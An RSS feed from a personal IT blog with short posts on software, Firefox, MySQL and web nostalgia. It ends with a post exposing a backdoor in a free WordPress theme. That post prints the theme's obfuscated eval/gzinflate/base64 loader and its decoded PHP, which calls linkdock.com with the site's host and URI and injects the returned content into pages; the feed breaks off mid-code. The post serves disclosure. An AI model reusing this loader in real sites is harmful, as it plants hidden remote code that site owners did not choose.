<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>Simone 'Wiz' Tellini - IT &amp; Technology</title>
    <link>http://www.tellini.info/blog/</link>
    <description>To strive, to seek, to find, and not to yield.</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.5.1 - http://www.s9y.org/</generator>
    <pubDate>Thu, 11 Feb 2010 06:57:49 GMT</pubDate>

    <image>
        <url>http://www.tellini.info/blog/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: Simone 'Wiz' Tellini - IT &amp; Technology - To strive, to seek, to find, and not to yield.</title>
        <link>http://www.tellini.info/blog/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Software reviews, hints and tips</title>
    <link>http://www.tellini.info/blog/archives/92-Software-reviews,-hints-and-tips.html</link>
            <category>Software</category>
    
    <comments>http://www.tellini.info/blog/archives/92-Software-reviews,-hints-and-tips.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=92</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=92</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    A new &lt;a href=&quot;http://www.softwarecrew.co.uk&quot;&gt;software reviews&lt;/a&gt; site went live recently: &lt;a href=&quot;http://www.softwarecrew.co.uk&quot;&gt;Softwarecrew&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In my just-a-little-bit biased opinion, it&#039;s looking nice, but I should probably mention that I&#039;ve worked on the &lt;a href=&quot;http://wordpress.org/&quot;&gt;WordPress &lt;/a&gt;theme it uses, plus I did write a couple of WP extensions to help the reviewers with their job. &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Wed, 10 Feb 2010 22:48:11 -0800</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/92-guid.html</guid>
    <category>it &amp; technology</category>
<category>software</category>
<category>wordpress</category>

</item>
<item>
    <title>A cure for Firefox freezing on download.cnet.com</title>
    <link>http://www.tellini.info/blog/archives/91-A-cure-for-Firefox-freezing-on-download.cnet.com.html</link>
            <category>Tips'n'Tricks</category>
    
    <comments>http://www.tellini.info/blog/archives/91-A-cure-for-Firefox-freezing-on-download.cnet.com.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=91</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=91</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    It&#039;s been a loooong time since I&#039;ve been able to browse download.cnet.com without having Firefox freeze on article pages. Something&#039;s very nasty on that site (or Firefox/one of the plugins I use is very bugged). Some guy on &lt;a href=&quot;http://forums.mozillazine.org/viewtopic.php?f=38&amp;t=1551645&quot;&gt;mozillazine&lt;/a&gt; suggests to enable cookies from cnet.com, but I&#039;d rather not: there must be another way &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Anyway, &lt;a href=&quot;https://addons.mozilla.org/it/firefox/addon/1865&quot;&gt;AdBlock&lt;/a&gt; comes to rescue. Just add a filter blocking &lt;strong&gt;http://*.i.com.com/*.js&lt;/strong&gt; and the problem vanishes. &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Fri, 30 Oct 2009 18:02:00 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/91-guid.html</guid>
    
</item>
<item>
    <title>Old memories of an &quot;ancient&quot; Internet era...</title>
    <link>http://www.tellini.info/blog/archives/90-Old-memories-of-an-ancient-Internet-era....html</link>
            <category>IT &amp; Technology</category>
    
    <comments>http://www.tellini.info/blog/archives/90-Old-memories-of-an-ancient-Internet-era....html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=90</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=90</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    This article is a must for people who was had a &quot;web presence&quot; 10 or more years ago: &lt;a href=&quot;http://www.comedycentral.com/tosh.0/2009/10/26/goodbye-geocities/&quot;&gt;http://www.comedycentral.com/tosh.0/2009/10/26/goodbye-geocities/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Sometimes it&#039;s nice to look back at how things were and see all the progress that&#039;s been made since then. When I think at &lt;a href=&quot;http://web.archive.org/web/19981205023554/http://www.pragmanet.it/~tellini/main.html&quot;&gt;how my homepage looked in 1996&lt;/a&gt; and compare it to the web applications I develop now for a living, with all the AJAX and &lt;a href=&quot;http://script.aculo.us/&quot;&gt;scriptaculous&lt;/a&gt; fun, I can&#039;t help feeling &lt;em&gt;old&lt;/em&gt;(ish). &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Wed, 28 Oct 2009 12:41:00 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/90-guid.html</guid>
    <category>history</category>
<category>internet</category>
<category>it &amp; technology</category>

</item>
<item>
    <title>Quote of the Day</title>
    <link>http://www.tellini.info/blog/archives/89-Quote-of-the-Day.html</link>
            <category>IT &amp; Technology</category>
            <category>Quotes</category>
    
    <comments>http://www.tellini.info/blog/archives/89-Quote-of-the-Day.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=89</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=89</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    &lt;blockquote&gt;&lt;br /&gt;
So The Pirate Bay has executed the Web 2.0 business plan to perfection: give someone else&#039;s stuff away for free - then find a bigger idiot to buy the company.&lt;br /&gt;
&lt;br /&gt;
[...] in the case of Web 2.0, companies go from &quot;pre-revenue&quot; to &quot;post-revenue&quot; without any revenue in between. That&#039;s where you need a bigger idiot.&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
-- Andrew Orlowski, on &lt;a href=&quot;http://www.theregister.co.uk/2009/06/30/pirate_bay_next_stop/&quot;&gt;The Register&lt;/a&gt; 
    </content:encoded>

    <pubDate>Wed, 01 Jul 2009 11:02:34 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/89-guid.html</guid>
    <category>2.0</category>
<category>it &amp; technology</category>
<category>quotes</category>
<category>web</category>

</item>
<item>
    <title>LogMiner 1.23</title>
    <link>http://www.tellini.info/blog/archives/88-LogMiner-1.23.html</link>
            <category>Software</category>
            <category>SysAdmin</category>
    
    <comments>http://www.tellini.info/blog/archives/88-LogMiner-1.23.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=88</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=88</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    Version 1.23 of &lt;a href=&quot;http://logminer.sourceforge.net/&quot;  title=&quot;LogMiner at SourceForge&quot;&gt;LogMiner&lt;/a&gt;, my Apache/IIS log analysis package, is now available.&lt;br /&gt;
&lt;br /&gt;
This release mainly fixes some build problem on modern distributions.&lt;br /&gt;
&lt;br /&gt;
Also it finally includes the &lt;a href=&quot;http://tellini.info/blog/archives/48-LogMiner-purging-old-accesses.html&quot;&gt;cleanup function&lt;/a&gt; I was talking about &lt;em&gt;some&lt;/em&gt; days ago... 
    </content:encoded>

    <pubDate>Tue, 30 Jun 2009 10:42:32 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/88-guid.html</guid>
    <category>analysis</category>
<category>apache</category>
<category>iis</category>
<category>logminer</category>
<category>logs</category>
<category>software</category>
<category>sysadmin</category>

</item>
<item>
    <title>Definition of the Day - Web 2.0</title>
    <link>http://www.tellini.info/blog/archives/87-Definition-of-the-Day-Web-2.0.html</link>
            <category>IT &amp; Technology</category>
    
    <comments>http://www.tellini.info/blog/archives/87-Definition-of-the-Day-Web-2.0.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=87</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=87</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    &lt;blockquote&gt;&lt;br /&gt;
&lt;strong&gt;Q:&lt;/strong&gt; Web 2.0 - are we speaking from hindsight when we try to define it?&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;A: &lt;/strong&gt; We are speaking from no sight at all.&lt;br /&gt;
&lt;br /&gt;
&quot;Web 2.0&quot; is a catch word coined by Tim O&#039;Reilly who was trying to sell books for his publishing company. In my opinion, it was the saddest moment of O&#039;Reillys careeer as for the most part, he brings clarity to technology not gummy eyewash and wool.&lt;br /&gt;
&lt;br /&gt;
There is no spec, no standards committee, no list of particular technologies. It&#039;s just a vague slide made by O&#039;Reilly that doesn&#039;t even include all the latest technologies and implies some are new that are not. &lt;br /&gt;
[...]&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
-- read on &lt;a href=&quot;http://www.linkedin.com/answers/technology/web-development/TCH_WDD/494237-31273956?browseIdx=11&amp;sik=1245076024053&amp;goback=.ach_TCH*4WDD.abq_2_1245076024053_n_o_TCH*4WDD&quot;&gt;LinkedIn&lt;/a&gt; 
    </content:encoded>

    <pubDate>Mon, 15 Jun 2009 16:33:15 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/87-guid.html</guid>
    <category>2.0</category>
<category>buzzword</category>
<category>it &amp; technology</category>
<category>software</category>
<category>software development</category>
<category>web</category>

</item>
<item>
    <title>I do hate MySQL</title>
    <link>http://www.tellini.info/blog/archives/86-I-do-hate-MySQL.html</link>
            <category>Software Development</category>
    
    <comments>http://www.tellini.info/blog/archives/86-I-do-hate-MySQL.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=86</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=86</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    I can&#039;t stand it, really.&lt;br /&gt;
&lt;br /&gt;
I&#039;m using it at the moment only because I&#039;m forced to. I can&#039;t help considering it as a toy DB, especially comparing it to PostgreSQL or SQL Server or any other &lt;em&gt;serious&lt;/em&gt; RDBMS.&lt;br /&gt;
&lt;br /&gt;
The last thing that hit my nerve is &lt;a href=&quot;http://bugs.mysql.com/bug.php?id=7831&quot;&gt;this bug&lt;/a&gt;. Come on... can&#039;t it even handle foreign keys in a decent way?&lt;br /&gt;
&lt;br /&gt;
And I&#039;m trying not to think that it allows you to define a table with foreign keys and &lt;a href=&quot;http://bugs.mysql.com/bug.php?id=17943&quot;&gt;silently ignore them&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/rant&amp;gt; 
    </content:encoded>

    <pubDate>Fri, 12 Jun 2009 10:25:43 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/86-guid.html</guid>
    <category>mysql</category>
<category>rant</category>
<category>software development</category>

</item>
<item>
    <title>Snow Leopard upgrade at $29</title>
    <link>http://www.tellini.info/blog/archives/85-Snow-Leopard-upgrade-at-29.html</link>
            <category>Software</category>
    
    <comments>http://www.tellini.info/blog/archives/85-Snow-Leopard-upgrade-at-29.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=85</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=85</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    Hey, I&#039;m following the &lt;a href=&quot;http://www.appleinsider.com/articles/09/06/08/live_coverage_from_apples_worldwide_developers_conference.html&quot;&gt;live coverage of WWDC&lt;/a&gt; and just read this nice detail... that is a good price for a little update, Microsoft should learn a lesson or two... &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Mon, 08 Jun 2009 19:48:08 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/85-guid.html</guid>
    <category>leopard</category>
<category>mac os x</category>
<category>snow</category>
<category>software</category>
<category>upgrade</category>

</item>
<item>
    <title>Backdoor in WordPress themes?</title>
    <link>http://www.tellini.info/blog/archives/82-Backdoor-in-WordPress-themes.html</link>
            <category>Software</category>
    
    <comments>http://www.tellini.info/blog/archives/82-Backdoor-in-WordPress-themes.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=82</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=82</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    I was looking for a theme to use in a WordPress blog and I stumbled on &lt;a href=&quot;http://wptemplates.org/?p=313&quot;&gt;this one&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Cool, I thought, I might use it... but... hey... why there&#039;s this weird stuff in &lt;strong&gt;footer.php&lt;/strong&gt;?&lt;br /&gt;
&lt;div class=&quot;php geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;lt;?&lt;/span&gt; &lt;a href=&quot;http://www.php.net/eval&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;eval&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/gzinflate&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;gzinflate&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/base64_decode&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;base64_decode&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&#039;vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0&lt;br /&gt;NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC&lt;br /&gt;ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc&lt;br /&gt;5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL&lt;br /&gt;vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/&lt;br /&gt;b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5&lt;br /&gt;p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBa&lt;br /&gt;hOh0EIT7b8A&#039;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;#160;&lt;/div&gt;&lt;br /&gt;
Uhm... it looks very suspicious. Too suspicious. Let&#039;s change eval with die and check what&#039;s all that stuff:&lt;br /&gt;
&lt;div class=&quot;php geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://www.php.net/error_reporting&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;error_reporting&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000088;&quot;&gt;$CodeURL&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;http://linkdock.com/content.php?id=&amp;amp;host=&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;a href=&quot;http://www.php.net/urlencode&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;urlencode&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000088;&quot;&gt;$_SERVER&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;HTTP_HOST&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;&amp;amp;uri=&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;a href=&quot;http://www.php.net/urlencode&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;urlencode&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000088;&quot;&gt;$_SERVER&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;REQUEST_URI&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/intval&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;intval&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/get_cfg_var&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;get_cfg_var&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;allow_url_fopen&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;||&lt;/span&gt; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;&lt;a href=&quot;http://www.php.net/intval&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;intval&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/ini_get&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;ini_get&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;allow_url_fopen&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;&lt;a href=&quot;http://www.php.net/function_exists&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;function_exists&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;file_get_contents&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;a href=&quot;http://www.php.net/echo&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;a href=&quot;http://www.php.net/file_get_contents&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;file_get_contents&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000088;&quot;&gt;$CodeURL&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;elseif&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/intval&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;intval&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/get_cfg_var&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;get_cfg_var&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;allow_url_fopen&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;||&lt;/span&gt; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;a href=&quot;http://www.php.net/intval&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;intval&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/ini_get&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;ini_get&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;allow_url_fopen&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;a href=&quot;http://www.php.net/function_exists&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;function_exists&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;file&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000088;&quot;&gt;$content&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;a href=&quot;http://www.php.net/file&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;file&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000088;&quot;&gt;$CodeURL&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;a href=&quot;http://www.php.net/echo&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;a href=&quot;http://www.php.net/join&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;join&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #000088;&quot;&gt;$content&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;elseif&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/function_exists&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;function_exists&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;curl_init&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000088;&quot;&gt;$ch&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; curl_init&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: 